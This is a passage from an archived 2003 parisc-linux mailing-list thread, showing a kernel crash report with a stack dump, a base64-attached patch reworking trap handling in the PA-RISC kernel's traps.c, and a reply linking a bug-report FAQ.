so not superio_init (even thought CONFIG_SUPERIO=y and well find this function
into vmlinux)?

hth,
    Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.6.0-test6 crash on R390
Date: Tue, 7 Oct 2003 10:22:42 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <1289146742B56546AE580DFC6B711A8313482C@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622851 32344 80.91.229.3 (22 Nov 2014 02:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 09:29:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1-haw-R.bigfish.com (mail-haw.bigfish.com [12.129.199.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413834840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 09:29:08 -0600 (MDT)
Original-Received: from mail1-haw.bigfish.com (localhost.localdomain [127.0.0.1])
	by mail1-haw-R.bigfish.com (Postfix) with ESMTP id 9A1CB22827B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 15:29:07 +0000 (UCT)
Original-Received: by mail1-haw (MessageSwitch) id 1065540547517956_3240; Tue,  7 Oct 2003 15:29:07 +0000 (UCT)
Original-Received: from smtpgw5.sprintspectrum.com (smtpgw5.sprintspectrum.com [207.40.188.13])
	by mail1-haw.bigfish.com (Postfix) with ESMTP id 636A522ACAF
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 15:24:29 +0000 (UCT)
Original-Received: from mailhost.sprintspectrum.com (smtpgw7.it.sprintspectrum.com [207.40.65.55])
	by smtpgw5.sprintspectrum.com (8.12.10/8.12.8) with ESMTP id h97FOSB0026021
	for <parisc-linux@lists.parisc-linux.org>; Tue, 7 Oct 2003 10:24:28 -0500 (CDT)
Original-Received: from PDAWG01A.corp.sprint.com (localhost [127.0.0.1])
	by mailhost.sprintspectrum.com (Switch-2.2.8/Switch-2.2.6) with ESMTP id h97FOSV13289
	for <parisc-linux@lists.parisc-linux.org>; Tue, 7 Oct 2003 10:24:28 -0500 (CDT)
Original-Received: from PKDWB07C.ad.sprint.com ([10.185.12.151]) by PDAWG01A.corp.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Tue, 7 Oct 2003 10:22:43 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: linux-2.6.0-test6 crash on R390
Thread-Index: AcOM5tm+pVkyext5QpySNardN5DACA==
X-OriginalArrivalTime: 07 Oct 2003 15:22:43.0197 (UTC) FILETIME=[DA74F2D0:01C38CE6]
X-BigFish: v
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19747

Running apt-get update crashed my machine.  Is there any other
information that I can provide?  I didn't compile the kernel with
debugging info.

apt-get(168): unaligned access to 0x40768094 at ip=3D0x4005e47f
apt-get(168): unaligned access to 0x40768094 at ip=3D0x4005e47f

Stack Dump:
 10334418:  10334418 00000000 00000000 00000000=20
 10334408:  00000000 10347810 00000000 00000000=20
 103343f8:  00000000 00000000 00000000 10113c48=20
 103343e8:  00000000 00000000 00000000 10334080=20
 103343d8:  00000000 00000000 10334080 00000000=20
 103343c8:  00000000 00000001 0010b024 00000000=20
 103343b8:  00000000 00000000 00000000 10106794=20
 103343a8:  00000000 00000000 00000000 00000000=20
 10334398:  00000000 00000000 00000000 00000000=20
 10334388:  00000000 00000000 00000000 00000000=20
 10334378:  00000000 00001338 00000000 00000000=20
 10334368:  00000000 00000000 00000000 00008000=20
 10334358:  00343000 00338000 001125c4 00000000=20
 10334348:  00000000 00000000 00000000 00000000=20
 10334338:  00000000 00000000 00000000 00000000=20
 10334328:  00000000 00000000 00000000 00000000=20
 10334318:  00000000 00000000 00000000 00000000=20
 10334308:  00000000 00000000 00000000 00000000=20
 103342f8:  00000000 00000000 00000000 00000000=20
 103342e8:  00000000 00000000 00000000 00000000=20
 103342d8:  00000000 00000000 00000000 00000000=20
 103342c8:  00000000 00000000 00000000 00000000=20
 103342b8:  00000000 00000000 00000000 1010c098=20
 103342a8:  00000000 00000000 00000000 00000000=20
 10334298:  00000000 00000000 00000000 00000000=20
 10334288:  00000000 00000000 00000000 00000000=20
 10334278:  00000000 00000000 00000000 00000000=20
 10334268:  00000000 00000000 00000000 00000000=20
 10334258:  00000000 00000000 40768094 00000121=20
 10334248:  0ee05094 00000008 00000000 00000000=20
 10334238:  00000000 00000000 00000000 4005e483=20
 10334228:  4005e47f 00000121 00000121 00000121=20
 10334218:  00000121 00000121 00000121 00000121=20
 10334208:  00000000 00000114 00000000 00000000=20
 103341f8:  00000000 00000000 00000000 00000000=20
 103341e8:  00000000 00000000 00000000 00000000=20
 103341d8:  00000000 00000000 00000000 00000000=20
 103341c8:  00000000 00000000 00000000 00000000=20
 103341b8:  00000000 00000000 00000000 00000000=20
 103341a8:  00000000 00000000 00000000 00000000=20
 10334198:  00000000 00000000 00000000 00000000=20
 10334188:  00000000 00000000 00000000 00000000=20
 10334178:  00000000 00000000 00000000 00000000=20
 10334168:  00000000 00000000 00000000 00000000=20
 10334158:  00000000 00000000 00000000 00000000=20
 10334148:  00000000 00000000 00000000 00000000=20
 10334138:  00000000 00000000 00000000 00000000=20
 10334128:  00000000 00000000 00000000 00000000=20
 10334118:  00000000 00000000 00000000 00000000=20
 10334108:  00000000 00000000 00000000 000282a3=20
 103340f8:  faf013c0 400c65a7 0004dc40 00040220=20
 103340e8:  00002370 00000038 faf01228 40768044=20
 103340d8:  00000000 00000163 00002370 40111868=20
 103340c8:  00014000 0000000f faf008c0 faf00a8c=20
 103340b8:  faf00948 faf00ab0 00015168 faf00d0c=20
 103340a8:  faf01228 faf00dd8 0004cea0 0004cea4=20
 10334098:  faf00ad8 40111868 00000038 4076808c=20
 10334088:  40098df3 00044a20 00000000 00000000=20
 10334078:  00000000 00000000 00000000 00112554=20
 10334068:  00000000 00000000 00000000 00000000=20
 10334058:  00000000 00000000 00000000 00340000=20
 10334048:  00000000 00000000 00000000 00000000=20
 10334038:  00000000 00000000 00000000 00000000=20
 10334028:  00000000 00000000 00000000 00000000=20

Kernel addresses on the stack:
 [<101065d8>] parisc_terminate+0x7c/0xf4
 [<10113c48>] pdc_console_restart+0x38/0x64
 [<10106794>] handle_interruption+0x144/0x598
 [<1010c098>] intr_check_sig+0x0/0xc


High Priority Machine Check (HPMC): Code=3D1 regs=3D10334080 =
(Addr=3D00000000)

Thanks,
Pat Padgett


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Tue, 7 Oct 2003 17:47:40 +0200
Lines: 140
Approved: news@gmane.org
Message-ID: <3F5CC41F0000EF9B@ocpmta3.freegates.net>
References: <20031006173401.GE27512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F5CC41F0000EF9B/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622851 32346 80.91.229.3 (22 Nov 2014 02:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:51 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 09:47:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9262E4840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 09:47:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A6u3p-0006Al-00; Tue, 07 Oct 2003 17:47:41 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 7 Oct 2003 17:47:40 +0200
In-Reply-To: <20031006173401.GE27512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19748

--========/3F5CC41F0000EF9B/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

 
>> But, as we could awaiting when such code=13 (conditional trap iirc), occurs
>> in kernel mode (as on my b2k or Max's c3k) the kernel
>>hang without advise
>> :(
>
>It happens in "kernel mode" ?

Even thought it shouldn't happen but would just help in case of unthinkable
bug :)

> That should trigger an oops? It's a SIGFPE for the kernel :)

Yes it should as far as i can follow force_sig_info() it would 'schedule'
a SIGFPE. But in this very particular situation of the early boot, imho the
scheduler is not yet launched.

So may be this second draft would help more in this case?
(I hope that attachement will be readable?)

Thanks again,
    Joel


-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 



--========/3F5CC41F0000EF9B/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Traps-2.4-Align-2"

ZGlmZiAtTmF1ciBsaW51eC0yLjYuMC10ZXN0Ni1wYTYub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwv
dHJhcHMuYyBsaW51eC0yLjYuMC10ZXN0Ni1wYTYudGVzdC9hcmNoL3BhcmlzYy9rZXJuZWwvdHJh
cHMuYwotLS0gbGludXgtMi42LjAtdGVzdDYtcGE2Lm9yaWcvYXJjaC9wYXJpc2Mva2VybmVsL3Ry
YXBzLmMJMjAwMy0xMC0wNyAxODoxNTo0MS4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNi4w
LXRlc3Q2LXBhNi50ZXN0L2FyY2gvcGFyaXNjL2tlcm5lbC90cmFwcy5jCTIwMDMtMTAtMDcgMTg6
MTQ6MzEuMDAwMDAwMDAwICswMjAwCkBAIC00NCw3ICs0NCw3IEBACiAjZGVmaW5lIFBSSU5UX1VT
RVJfRkFVTFRTIC8qICh0dXJuIHRoaXMgb24gaWYgeW91IHdhbnQgdXNlciBmYXVsdHMgdG8gYmUg
Ki8KIAkJCSAgLyogIGR1bXBlZCB0byB0aGUgY29uc29sZSB2aWEgcHJpbnRrKSAgICAgICAgICAq
LwogCi1pbnQgcHJpbnRiaW5hcnkoY2hhciAqYnVmLCB1bnNpZ25lZCBsb25nIHgsIGludCBuYml0
cykKK3N0YXRpYyBpbnQgcHJpbnRiaW5hcnkoY2hhciAqYnVmLCB1bnNpZ25lZCBsb25nIHgsIGlu
dCBuYml0cykKIHsKIAl1bnNpZ25lZCBsb25nIG1hc2sgPSAxVUwgPDwgKG5iaXRzIC0gMSk7CiAJ
d2hpbGUgKG1hc2sgIT0gMCkgewpAQCAtNDA4LDcgKzQwOCw3IEBACiAKIAogLyoKLSAqIFRoaXMg
cm91dGluZSBoYW5kbGVzIHBhZ2UgZmF1bHRzLiAgSXQgZGV0ZXJtaW5lcyB0aGUgYWRkcmVzcywK
KyAqIFRoaXMgcm91dGluZSBoYW5kbGVzIHZhcmlvdXMgZXhjZXB0aW9uIGNvZGVzLiAgSXQgZGV0
ZXJtaW5lcyB0aGUgYWRkcmVzcywKICAqIGFuZCB0aGUgcHJvYmxlbSwgYW5kIHRoZW4gcGFzc2Vz
IGl0IG9mZiB0byBvbmUgb2YgdGhlIGFwcHJvcHJpYXRlCiAgKiByb3V0aW5lcy4KICAqLwpAQCAt
NDI5LDggKzQyOSwxOCBAQAogCWlmICghY29uc29sZV9kcml2ZXJzKQogCQlwZGNfY29uc29sZV9y
ZXN0YXJ0KCk7CiAKLQlpZiAoY29kZSA9PSAxKQotCSAgICB0cmFuc2Zlcl9waW1fdG9fdHJhcF9m
cmFtZShyZWdzKTsKKworCS8qIE5vdCBhbGwgc3dpdGNoIHBhdGhzIHdpbGwgZ3V0dGVyIHRoZSBw
cm9jZXNzb3IuLi4gKi8KKwlzd2l0Y2goY29kZSl7CisKKwljYXNlIDE6CisJCXRyYW5zZmVyX3Bp
bV90b190cmFwX2ZyYW1lKHJlZ3MpOworCQlicmVhazsKKwkgICAgCisJZGVmYXVsdDoKKwkJLyog
RmFsbCB0aHJvdWdoICovCisJCWJyZWFrOworCX0KIAogCXNob3dfc3RhY2soTlVMTCwgKHVuc2ln
bmVkIGxvbmcgKilyZWdzLT5nclszMF0pOwogCkBAIC00NDYsMzQgKzQ1NiwzNCBAQAogCSAqIHN5
c3RlbSB3aWxsIHNodXQgZG93biBpbW1lZGlhdGVseSByaWdodCBoZXJlLiAqLwogCXBkY19zb2Z0
X3Bvd2VyX2J1dHRvbigwKTsKIAkKKwkvKiBHdXR0ZXIgdGhlIHByb2Nlc3Nvci4uLiAqLwogCWZv
cig7OykKIAkgICAgOwogfQogCisKIHZvaWQgaGFuZGxlX2ludGVycnVwdGlvbihpbnQgY29kZSwg
c3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiB7CiAJdW5zaWduZWQgbG9uZyBmYXVsdF9hZGRyZXNzID0g
MDsKIAl1bnNpZ25lZCBsb25nIGZhdWx0X3NwYWNlID0gMDsKIAlzdHJ1Y3Qgc2lnaW5mbyBzaTsK
IAotCWlmIChjb2RlID09IDEpCi0JICAgIHBkY19jb25zb2xlX3Jlc3RhcnQoKTsgIC8qIHN3aXRj
aCBiYWNrIHRvIHBkYyBpZiBIUE1DICovCi0JZWxzZQotCSAgICBsb2NhbF9pcnFfZW5hYmxlKCk7
Ci0KLSNpZiAwCi0JcHJpbnRrKEtFUk5fQ1JJVCAiSW50ZXJydXB0aW9uICMgJWRcbiIsIGNvZGUp
OwotI2VuZGlmCisgICAgICAgIC8qIEpTTyBCZWdpbiAqLworICAgICAgICBwcmludGsoS0VSTl9F
UlIgIiVzKCVkLCAuLi4pLlxuIiwgX19GVU5DVElPTl9fLCBjb2RlKTsKKwkvKgorICAgICAgICBt
ZGVsYXkoMTAwKTsKKyAgICAgICAgSlNPIEVuZCAqLwogCiAJc3dpdGNoKGNvZGUpIHsKIAogCWNh
c2UgIDE6CiAJCS8qIEhpZ2gtcHJpb3JpdHkgbWFjaGluZSBjaGVjayAoSFBNQykgKi8KLQkJCisJ
CXBkY19jb25zb2xlX3Jlc3RhcnQoKTsgIC8qIHN3aXRjaCBiYWNrIHRvIHBkYyBpZiBIUE1DICov
CisKIAkJLyogc2V0IHVwIGEgbmV3IGxlZCBzdGF0ZSBvbiBzeXN0ZW1zIHNoaXBwZWQgd2l0aCBh
IExFRCBTdGF0ZSBwYW5lbCAqLwogCQlwZGNfY2hhc3Npc19zZW5kX3N0YXR1cyhQRENfQ0hBU1NJ
U19ESVJFQ1RfSFBNQyk7Ci0JCSAgICAKLQkgICAgCXBhcmlzY190ZXJtaW5hdGUoIkhpZ2ggUHJp
b3JpdHkgTWFjaGluZSBDaGVjayAoSFBNQykiLAorCisJCXBhcmlzY190ZXJtaW5hdGUoIkhpZ2gg
UHJpb3JpdHkgTWFjaGluZSBDaGVjayAoSFBNQykiLAogCQkJCXJlZ3MsIGNvZGUsIDApOwogCQkv
KiBOT1QgUkVBQ0hFRCAqLwogCQkKQEAgLTQ5Miw4ICs1MDIsOSBAQAogCiAJY2FzZSAgNToKIAkJ
LyogTG93LXByaW9yaXR5IG1hY2hpbmUgY2hlY2sgKi8KKwogCQlwZGNfY2hhc3Npc19zZW5kX3N0
YXR1cyhQRENfQ0hBU1NJU19ESVJFQ1RfTFBNQyk7Ci0JCQorCiAJCWZsdXNoX2FsbF9jYWNoZXMo
KTsKIAkJY3B1X2xwbWMoNSwgcmVncyk7CiAJCXJldHVybjsKQEAgLTU0Miw2ICs1NTMsNyBAQAog
CiAJCWRpZV9pZl9rZXJuZWwoIlByaXZpbGVnZWQgcmVnaXN0ZXIgdXNhZ2UiLCByZWdzLCBjb2Rl
KTsKIAkJc2kuc2lfY29kZSA9IElMTF9QUlZSRUc7CisJCS8qIEZhbGwgdGhydSAqLwogCWdpdmVf
c2lnaWxsOgogCQlzaS5zaV9zaWdubyA9IFNJR0lMTDsKIAkJc2kuc2lfZXJybm8gPSAwOwpAQCAt
NTU2LDYgKzU2OCwyNCBAQAogCQlzaS5zaV9hZGRyID0gKHZvaWQgKikgcmVncy0+aWFvcVswXTsK
IAkJZm9yY2Vfc2lnX2luZm8oU0lHRlBFLCAmc2ksIGN1cnJlbnQpOwogCQlyZXR1cm47CisJCisJ
Y2FzZSAxMzoKKwkJaWYgKHVzZXJfbW9kZShyZWdzKSkgeworI2lmZGVmIFBSSU5UX1VTRVJfRkFV
TFRTCisJCQlwcmludGsoS0VSTl9ERUJVRyAiXG5oYW5kbGVfaW50ZXJydXB0aW9uKCkgcGlkPSVk
IGNvbW1hbmQ9JyVzJ1xuIiwKKwkJCSAgICBjdXJyZW50LT5waWQsIGN1cnJlbnQtPmNvbW0pOwor
CQkJc2hvd19yZWdzKHJlZ3MpOworI2VuZGlmCisJCQkvKiBDb25kaXRpb25hbCBUcmFw
IAorCQkJICAgVGhlIGNvbmRpdGlvbiBzdWNjZWVzIGluIGFuIGluc3RydWN0aW9uIHdoaWNoIHRy
YXBzIG9uIGNvbmRpdGlvbiAgKi8KKwkJCXNpLnNpX3NpZ25vID0gU0lHRlBFOworCQkJLyogU2V0
IHRvIHplcm8sIGFuZCBsZXQgdGhlIHVzZXJzcGFjZSBhcHAgZmlndXJlIGl0IG91dCBmcm9tCisJ
CQkgICB0aGUgaW5zbiBwb2ludGVkIHRvIGJ5IHNpX2FkZHIgKi8KKwkJCXNpLnNpX2NvZGUgPSAw
OworCQkJc2kuc2lfYWRkciA9ICh2b2lkICopIHJlZ3MtPmlhb3FbMF07CisJCQlmb3JjZV9zaWdf
aW5mbyhTSUdGUEUsICZzaSwgY3VycmVudCk7CisJCQlyZXR1cm47CisJCX0gZWxzZSBicmVhazsK
IAogCWNhc2UgMTQ6CiAJCS8qIEFzc2lzdCBFeGNlcHRpb24gVHJhcCwgaS5lLiBmbG9hdGluZyBw
b2ludCBleGNlcHRpb24uICovCkBAIC01NjMsMTMgKzU5MywyMiBAQAogCQloYW5kbGVfZnBlKHJl
Z3MpOwogCQlyZXR1cm47CiAKKwljYXNlIDE1OiAKKwkJLyogRGF0YSBUTEIgbWlzcyBmYXVsdC9E
YXRhIHBhZ2UgZmF1bHQgKi8JCisJCS8qIEZhbGwgdGhydSAqLworCWNhc2UgMTY6CisJCS8qIE5v
bi1hY2Nlc3MgaW5zdHJ1Y3Rpb24gVExCIG1pc3MgZmF1bHQgKi8KKwkJLyogVGhlIGluc3RydWN0
aW9uIFRMQiBlbnRyeSBuZWVkZWQgZm9yIHRoZSB0YXJnZXQgYWRkcmVzcyBvZiB0aGUgRklDCisJ
CSAgIGlzIGFic2VudCwgYW5kIGhhcmR3YXJlIGNhbid0IGZpbmQgaXQsIHNvIHdlIGdldCB0byBj
bGVhbnVwICovCisJCS8qIEZhbGwgdGhydSAqLwogCWNhc2UgMTc6CiAJCS8qIE5vbi1hY2Nlc3Mg
ZGF0YSBUTEIgbWlzcyBmYXVsdC9Ob24tYWNjZXNzIGRhdGEgcGFnZSBmYXVsdCAqLwogCQkvKiBU
T0RPOiBTdGlsbCBuZWVkIHRvIGFkZCBzbG93IHBhdGggZW11bGF0aW9uIGNvZGUgaGVyZSAqLwot
CQlwZGNfY2hhc3Npc19zZW5kX3N0YXR1cyhQRENfQ0hBU1NJU19ESVJFQ1RfUEFOSUMpOwotCQkK
KwkJLyogVE9ETzogVW5kZXJzdGFuZCB3aGF0IGlzIG1lYW50IGJ5IHRoZSBUT0RPIGxpc3RlZCAK
KwkJICAgYWJvdmUgdGhpcyBvbmUuIChDYXJsb3MpICovCiAJCWZhdWx0X2FkZHJlc3MgPSByZWdz
LT5pb3I7Ci0JCXBhcmlzY190ZXJtaW5hdGUoIk5vbiBhY2Nlc3MgZGF0YSB0bGIgZmF1bHQhIixy
ZWdzLGNvZGUsZmF1bHRfYWRkcmVzcyk7CisJCWZhdWx0X3NwYWNlID0gcmVncy0+aXNyOworCQli
cmVhazsKIAogCWNhc2UgMTg6CiAJCS8qIFBDWFMgb25seSAtLSBsYXRlciBjcHUncyBzcGxpdCB0
aGlzIGludG8gdHlwZXMgMjYsMjcgJiAyOCAqLwpAQCAtNTc5LDkgKzYxOCw4IEBACiAJCQlyZXR1
cm47CiAJCX0KIAkJLyogRmFsbCBUaHJvdWdoICovCi0KLQljYXNlIDE1OiAvKiBEYXRhIFRMQiBt
aXNzIGZhdWx0L0RhdGEgcGFnZSBmYXVsdCAqLwotCWNhc2UgMjY6IC8qIFBDWEw6IERhdGEgbWVt
b3J5IGFjY2VzcyByaWdodHMgdHJhcCAqLworCWNhc2UgMjY6IAorCQkvKiBQQ1hMOiBEYXRhIG1l
bW9yeSBhY2Nlc3MgcmlnaHRzIHRyYXAgKi8KIAkJZmF1bHRfYWRkcmVzcyA9IHJlZ3MtPmlvcjsK
IAkJZmF1bHRfc3BhY2UgICA9IHJlZ3MtPmlzcjsKIAkJYnJlYWs7CkBAIC02MzcsNyArNjc1LDYg
QEAKIAkJCXVwX3JlYWQoJmN1cnJlbnQtPm1tLT5tbWFwX3NlbSk7CiAJCX0KIAkJLyogRmFsbCBU
aHJvdWdoICovCi0KIAljYXNlIDI3OiAKIAkJLyogRGF0YSBtZW1vcnkgcHJvdGVjdGlvbiBJRCB0
cmFwICovCiAJCWRpZV9pZl9rZXJuZWwoIlByb3RlY3Rpb24gaWQgdHJhcCIsIHJlZ3MsIGNvZGUp
OwpAQCAtNjcxLDggKzcwOCw5IEBACiAJCQlmb3JjZV9zaWdfaW5mbyhTSUdCVVMsICZzaSwgY3Vy
cmVudCk7CiAJCQlyZXR1cm47CiAJCX0KLQkJcGRjX2NoYXNzaXNfc2VuZF9zdGF0dXMoUERDX0NI
QVNTSVNfRElSRUNUX1BBTklDKTsKIAkJCisJCXBkY19jaGFzc2lzX3NlbmRfc3RhdHVzKFBEQ19D
SEFTU0lTX0RJUkVDVF9QQU5JQyk7CisKIAkJcGFyaXNjX3Rlcm1pbmF0ZSgiVW5leHBlY3RlZCBp
bnRlcnJ1cHRpb24iLCByZWdzLCBjb2RlLCAwKTsKIAkJLyogTk9UIFJFQUNIRUQgKi8KIAl9CkBA
IC03MDIsMTggKzc0MCwxOSBAQAogCSAgICAgKiBUaGUga2VybmVsIHNob3VsZCBuZXZlciBmYXVs
dCBvbiBpdHMgb3duIGFkZHJlc3Mgc3BhY2UuCiAJICAgICAqLwogCi0JICAgIGlmIChmYXVsdF9z
cGFjZSA9PSAwKSAKLQkgICAgeworCSAgICBpZiAoZmF1bHRfc3BhY2UgPT0gMCkgewogCQlwZGNf
Y2hhc3Npc19zZW5kX3N0YXR1cyhQRENfQ0hBU1NJU19ESVJFQ1RfUEFOSUMpOwogCQlwYXJpc2Nf
dGVybWluYXRlKCJLZXJuZWwgRmF1bHQiLCByZWdzLCBjb2RlLCBmYXVsdF9hZGRyZXNzKTsKLQkK
KwkJLyoqIE5PVCBSRUFDSEVEICoqLwogCSAgICB9CiAJfQogCisJbG9jYWxfaXJxX2VuYWJsZSgp
OwogCWRvX3BhZ2VfZmF1bHQocmVncywgY29kZSwgZmF1bHRfYWRkcmVzcyk7CiB9CiAKIAorCiBp
bnQgX19pbml0IGNoZWNrX2l2dCh2b2lkICppdmEpCiB7CiAJaW50IGk7Cg==

--========/3F5CC41F0000EF9B/mail.tiscali.be--


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.0-test6 crash on R390
Date: Tue, 7 Oct 2003 09:01:39 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20031007160139.GC28794@tausq.org>
References: <1289146742B56546AE580DFC6B711A8313482C@PKDWB07C.ad.sprint.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622852 32348 80.91.229.3 (22 Nov 2014 02:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 09:58:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3873848CB
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 09:58:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E502CCD2F8; Tue,  7 Oct 2003 09:01:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1289146742B56546AE580DFC6B711A8313482C@PKDWB07C.ad.sprint.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19749

In reference to a message from Padgett, Pat M [NTWK SVCS], dated Oct 07:
> Running apt-get update crashed my machine.  Is there any other
> information that I can provide?  I didn't compile the kernel with
> debugging info.

http://www.parisc-linux.org/faq/kernelbug-howto.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rene Brothuhn <rene.br@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
